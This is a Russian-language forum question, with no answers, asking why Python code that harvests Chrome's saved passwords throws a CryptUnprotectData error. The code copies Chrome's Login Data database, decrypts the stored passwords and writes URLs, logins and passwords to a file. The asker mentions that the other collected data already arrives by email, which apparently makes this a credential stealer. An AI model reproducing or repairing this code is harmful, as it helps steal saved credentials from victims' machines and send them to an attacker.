Ошибка python в консоли

Ошибка в коде пайтон при импорте паролей хром

def Chrome(): 
   text = 'Passwords Chrome:' + '\n' 
   text += 'URL | LOGIN | PASSWORD' + '\n' 
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'): 
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2') 
       cursor = conn.cursor()
       cursor.execute('SELECT action_url, username_value, password_value FROM logins')
       for result in cursor.fetchall():
           password = win32crypt.CryptUnprotectData(result[2])[1].decode() 
           login = result[1]
           url = result[0]
           if password != '':
               text += url + ' | ' + login + ' | ' + password + '\n' 
   return text
file = open(os.getenv("APPDATA") + '\\google_pass.txt', "w+")
file.write(str(Chrome()) + '\n')
file.close()

А вот сама ошибка:

C:\Users\Admin\Downloads\sniff\sdfgdfsg>py config.py
Traceback (most recent call last): File "config.py", line 56, in <module> file.write(str(Chrome()) + '\n')
File "config.py", line 49, in Chrome password = win32crypt.CryptUnprotectData(result[2])[1].decode() pywintypes.error: (87, 'CryptProtectData', 'Параметр задан неверно.')

Когда я комментирую данные значение, у меня все приходит на почту, но только не приходят пароли file.write(str(Chrome()) + '\n')


Ответы (0 шт):